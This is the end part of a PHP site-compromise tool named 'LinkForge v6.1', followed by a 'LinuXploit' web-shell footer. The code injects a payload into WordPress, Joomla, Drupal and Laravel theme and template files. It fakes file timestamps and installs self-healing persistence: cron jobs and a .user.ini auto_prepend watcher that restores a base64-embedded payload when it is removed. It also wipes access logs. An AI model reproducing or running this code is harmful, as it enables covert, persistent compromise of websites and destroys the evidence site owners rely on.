            foreach (array_slice($old_backups, 0, -3) as $old) {
                @unlink($old);
            }
        }
        if (!@copy($file, $backup)) {
            out(_r("    [FAIL] Cannot create backup"));
            continue;
        }

        // Step 6: Build injection content
        $inject_payload = $_payload;


        // CMS-specific injection method
        if ($type === 'cms-specific' && $tidx === 0) {
            $inject_payload = generate_cms_hook($cms, $inject_payload, $content);
        }

        // Step 7: Atomic write
        $tmp_file = $file.'.lf.tmp.'.time();

        // For theme files, inject in the appropriate location (end for PHP templates)
        if ($type === 'cms-specific' && $cms === 'WordPress' && strpos($file, 'footer.php') !== false) {
            // Insert before closing </body> or at end
            $new_content = inject_before_tag($content, $inject_payload, array('</body>', '</html>', '<?php'));
        } elseif ($type === 'cms-specific' && $cms === 'Joomla' && strpos($file, 'index.php') !== false) {
            // Insert at end of template (safe: closes open PHP tag if needed)
            $new_content = append_payload($content, $inject_payload);
        } elseif ($type === 'cms-specific' && $cms === 'Drupal' && strpos($file, '.theme') !== false) {
            // Append to theme file (safe: closes open PHP tag if needed)
            $new_content = append_payload($content, $inject_payload);
        } elseif ($type === 'cms-specific' && $cms === 'Laravel' && strpos($file, '.blade.php') !== false) {
            // Insert before closing </body>
            $new_content = inject_before_tag($content, $inject_payload, array('</body>', '</html>'));
        } else {
            // Default: prepend at top
            $new_content = $inject_payload . "\n" . $content;
        }

        $write_ok = @file_put_contents($tmp_file, $new_content);
        if ($write_ok !== false && $write_ok === strlen($new_content)) {
            if (@rename($tmp_file, $file)) {
                $orig_size = strlen($content);
                $pay_size = strlen($inject_payload);
                out(_g("    [OK] Injected! ") . _d(basename($file)) . _g(" (".number_format($pay_size)."b payload, ".number_format($orig_size)."b preserved)"));

                // Restore original permissions (rename resets them to umask defaults)
                if ($_caps['chmod']) {
                    $_op = @fileperms($backup);
                    @chmod($file, ($_op !== false) ? ($_op & 0777) : 0644);
                }

                // Anti-forensics: match timestamps
                if (anti_forensics($file)) {
                    out(_d("    [STEALTH] Timestamps camouflaged"));
                }


                $_stats['injected']++;
                if (!isset($_stats['cms_breakdown'][$cms])) $_stats['cms_breakdown'][$cms] = 0;
                $_stats['cms_breakdown'][$cms]++;
                $site_injected = true;
                if ($type === 'index') $index_done = true;
                if ($stop_after_first) break; // (unused — full coverage keeps going)
            } else {
                @copy($backup, $file);
                @unlink($tmp_file);
                out(_r("    [FAIL] Atomic rename failed — restored"));
            }
        } else {
            @unlink($tmp_file);
            out(_r("    [FAIL] Write failed"));
        }
    }

    if (!$site_injected) {
        $_stats['failed']++;
        $_stats['errors'][] = $root.': all targets failed';
        out(_r("  [FAIL] All injection targets failed for ") . basename($root));
    }

    out();
}

// ---- Injection Helpers ----
function inject_before_tag($content, $payload, $tags) {
    // Find tag in HTML context only (not inside PHP strings)
    $pos = find_tag_in_html($content, $tags);
    if ($pos !== false) {
        return substr($content, 0, $pos) . $payload . "\n" . substr($content, $pos);
    }
    // Fallback: safe append
    return append_payload($content, $payload);
}

function find_tag_in_html($content, $tags) {
    // Scan PHP/HTML regions, only match tags in HTML context
    $len = strlen($content);
    $in_php = false;
    $i = 0;
    $regions = array();
    $cur_start = 0;
    while ($i < $len) {
        if (!$in_php) {
            $p = strpos($content, '<?', $i);
            if ($p === false) {
                $regions[] = array($cur_start, $len);
                break;
            }
            $regions[] = array($cur_start, $p);
            $in_php = true;
            $i = $p + 2;
        } else {
            $p = strpos($content, '?'.'>', $i);
            if ($p === false) {
                break; // PHP until EOF
            }
            $in_php = false;
            $i = $p + 2;
            $cur_start = $i;
        }
    }
    // Search tags in HTML regions, prefer last match
    for ($r = count($regions) - 1; $r >= 0; $r--) {
        $s = $regions[$r][0];
        $e = $regions[$r][1];
        if ($e <= $s) continue;
        $html = substr($content, $s, $e - $s);
        foreach ($tags as $tag) {
            $pos = strripos($html, $tag);
            if ($pos !== false) {
                return $s + $pos;
            }
        }
    }
    return false;
}

function append_payload($content, $payload) {
    $trimmed = rtrim($content);
    if (substr($trimmed, -2) === '?' . '>') {
        // File ends in HTML mode — payload <?php tags work directly
        return $trimmed . "\n" . $payload . "\n";
    }
    // File ends in PHP mode — close tag first so payload <?php is valid
    return $trimmed . "\n?>\n" . $payload . "\n";
}

function generate_cms_hook($cms, $payload, $existing_content) {
    // Wrap payload in CMS-appropriate context
    if ($cms === 'WordPress') {
        // Ensure it looks like a WordPress function call
        return $payload;
    }
    if ($cms === 'Joomla') {
        return $payload;
    }
    return $payload;
}

// ---- Self-Healing Persistence: crontab (verified) → cron.d → .user.ini watcher ----
if ($_cron_install) {
    out();
    out(_m("=").str_repeat("=", 70)._m("="));
    out(_m("  SELF-HEALING PERSISTENCE"));
    out(_m("=").str_repeat("=", 70)._m("="));
    out();

    $cron_cmd = '*/30 * * * * ' . (defined('PHP_BINARY') ? PHP_BINARY : '/usr/bin/php') . ' ' . __FILE__ . ' >/dev/null 2>&1';
    $installed = false;
    $method = '';

    // Method 1: user crontab — with post-install verification
    if (function_exists('shell_exec') && !is_disabled('shell_exec')) {
        $current = @shell_exec('crontab -l 2>/dev/null');
        if (is_string($current)) {
            if (strpos($current, basename(__FILE__)) !== false) {
                $installed = true; $method = 'crontab (existing)';
            } else {
                $tmp = tempnam(sys_get_temp_dir(), 'lf_cron');
                @file_put_contents($tmp, $current . "\n# LinkForge Self-Heal\n" . $cron_cmd . "\n");
                @shell_exec('crontab ' . escapeshellarg($tmp) . ' 2>/dev/null');
                @unlink($tmp);
                $verify = @shell_exec('crontab -l 2>/dev/null');
                if (is_string($verify) && strpos($verify, basename(__FILE__)) !== false) {
                    $installed = true; $method = 'crontab';
                }
            }
        }
    }

    // Method 2: /etc/cron.d (usually root-only)
    if (!$installed && $_caps['file_put_contents'] && safe_is_dir('/etc/cron.d') && @is_writable('/etc/cron.d')) {
        $cron_file = '/etc/cron.d/linkforge-' . substr(md5(__FILE__), 0, 8);
        if (!safe_file_exists($cron_file)) {
            if (@file_put_contents($cron_file, $cron_cmd . "\n") !== false) {
                @chmod($cron_file, 0644);
                $installed = true; $method = 'cron.d';
            }
        } else { $installed = true; $method = 'cron.d (existing)'; }
    }

    // Method 3: .user.ini auto_prepend watcher — works on CGI/FastCGI (mod_php-safe: ignored there)
    // A tiny watcher runs before each request and restores the payload if removed.
    $watcher_count = 0;
    foreach ($_homepage_targets as $t) {
        $wroot = $t['root'];
        if (lf_is_backup_dir($wroot)) continue;
        $watch_file = $wroot . '/.lf_watch.php';
        $user_ini = $wroot . '/.user.ini';
        // Build watcher with embedded base64 payload (no output, no side effects on direct call)
        if (!safe_file_exists($watch_file) || stripos(@file_get_contents($watch_file), 'LF-CONN-V6') === false) {
            $watch_src = "<?php\n// watch\n\$_lf_w = __DIR__.'/index.php';\nif (is_file(\$_lf_w) && is_readable(\$_lf_w)) {\n    \$_lf_c = @file_get_contents(\$_lf_w);\n    if (is_string(\$_lf_c) && strpos(\$_lf_c, 'LF-CONN-V6') === false && stripos(\$_lf_c, 'LinkForge Connector') === false) {\n        \$_lf_p = base64_decode('" . base64_encode($_payload) . "');\n        if (\$_lf_p && @is_writable(\$_lf_w)) {\n            @file_put_contents(\$_lf_w, \$_lf_p.\"\\n\".\$_lf_c);\n        }\n    }\n}\nreturn;\n?>";
            if (@file_put_contents($watch_file, $watch_src) !== false) {
                @chmod($watch_file, 0644);
                // Wire up .user.ini (append only if no auto_prepend_file directive yet)
                $ini_line = "auto_prepend_file=" . $watch_file . "\n";
                $existing_ini = safe_file_exists($user_ini) ? @file_get_contents($user_ini) : '';
                if ($existing_ini === false) $existing_ini = '';
                if (stripos($existing_ini, 'auto_prepend_file') === false) {
                    if (@file_put_contents($user_ini, $existing_ini . $ini_line) !== false) {
                        @chmod($user_ini, 0644);
                        $watcher_count++;
                    }
                } else {
                    $watcher_count++; // auto_prepend already configured by someone
                }
            }
        } else {
            $watcher_count++;
        }
    }

    if ($installed) {
        out(_g("  [OK] Cron persistence: ") . $method . _g(" (re-injects every 30 min)"));
    } else {
        out(_y("  [!] Cron not available on this host"));
    }
    if ($watcher_count > 0) {
        out(_g("  [OK] Self-heal watchers installed: ") . $watcher_count . _g(" site(s) (.user.ini auto_prepend)"));
        out(_g("  [OK] Payload auto-restores on next page visit if removed"));
    }
    if (!$installed && $watcher_count == 0) {
        out(_y("  [!] No persistence mechanism available — manual re-run needed"));
    }
    out();
}

// ================================================================
// SUMMARY
// ================================================================
out(_m("=").str_repeat("=", 70)._m("="));
out(_m("  INJECTION SUMMARY v6.1"));
out(_m("=").str_repeat("=", 70)._m("="));
out();
out(_c("  Sites Scanned:       ") . (count($_homepage_targets) ?: count($_all_roots)));
out(_g("  Successfully Injected: ") . $_stats['injected']);
out(_c("  Upgraded (old→v6.1):  ") . $_stats['upgraded']);
out(_y("  Already Injected:    ") . $_stats['skipped']);
out(_r("  Failed:              ") . $_stats['failed']);

if (!empty($_stats['cms_breakdown'])) {
    out();
    out(_c("  CMS Breakdown:"));
    foreach ($_stats['cms_breakdown'] as $cms_name => $count) {
        out(_c("    ") . str_pad($cms_name, 16) . ": " . _g($count));
    }
}

if ($_stats['failed'] > 0) {
    out();
    out(_r("  Error details:"));
    foreach (array_slice($_stats['errors'], 0, 10) as $err) {
        out(_r("    - ") . $err);
    }
    if (count($_stats['errors']) > 10) {
        out(_r("    ... and ") . (count($_stats['errors'])-10) . _r(" more"));
    }
}

out();
out(_g("[+] LinkForge v6.1 injection complete."));
out(_y("[i] CMS-specific targeting: theme files, templates, footers used when available."));
out(_c("[i] Backups: *.lf.bak.[timestamp] — keep up to 3 per file, older auto-cleaned."));
out(_c("[i] Health check: add ?linkforge=health to this script URL."));
if ($_cron_install && $installed) {
    out(_m("[i] Self-healing: Cron installed for automatic re-injection."));
}
if ($_json_mode) {
    out();
    out(_c("[i] JSON output mode — full data follows:"));
}
out();

// ================================================================
// JSON OUTPUT MODE
// ================================================================
if ($_json_mode) {
    $json_data = array(
        'version'     => '6.0',
        'timestamp'   => time(),
        'php'         => PHP_VERSION,
        'os'          => PHP_OS,
        'cloud'       => $_cloud_env,
        'user'        => $_current_user,
        'doc_root'    => $_real_root,
        'panel_hints' => $_panel_hints,
        'stats'       => $_stats,
        'roots_found' => count($_all_roots),
        'sites_targeted'=> count($_homepage_targets),
        'capabilities'=> $_caps,
        'targets'     => array_map(function($t){ return array(
            'root'=>$t['root'],
            'cms'=>$t['cms'],
            'primary'=>$t['primary_target'],
            'targets'=>count($t['targets']),
        ); }, $_homepage_targets),
    );
    header('Content-Type: application/json');
    echo json_encode($json_data, (defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : 0));
    exit;
}

// ---- Clean access logs (anti-forensics) ----
if (!$_json_mode && !$_health_mode) {
    out();
    out(_m("[").str_repeat("=", 35)._m(" CLEANUP ").str_repeat("=", 35)._m("]"));
    $cleaned = clean_logs();
    if ($cleaned > 0) {
        out(_g("[+] ") . $cleaned . _g(" log files sanitized"));
    } else {
        out(_d("[i] Log cleaning skipped or not applicable"));
    }
    out(_m("[").str_repeat("=", 88)._m("]"));
}

// ---- Web HTML closing ----
if (!$_is_cli && !$_json_mode) {
    out("</pre>");
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit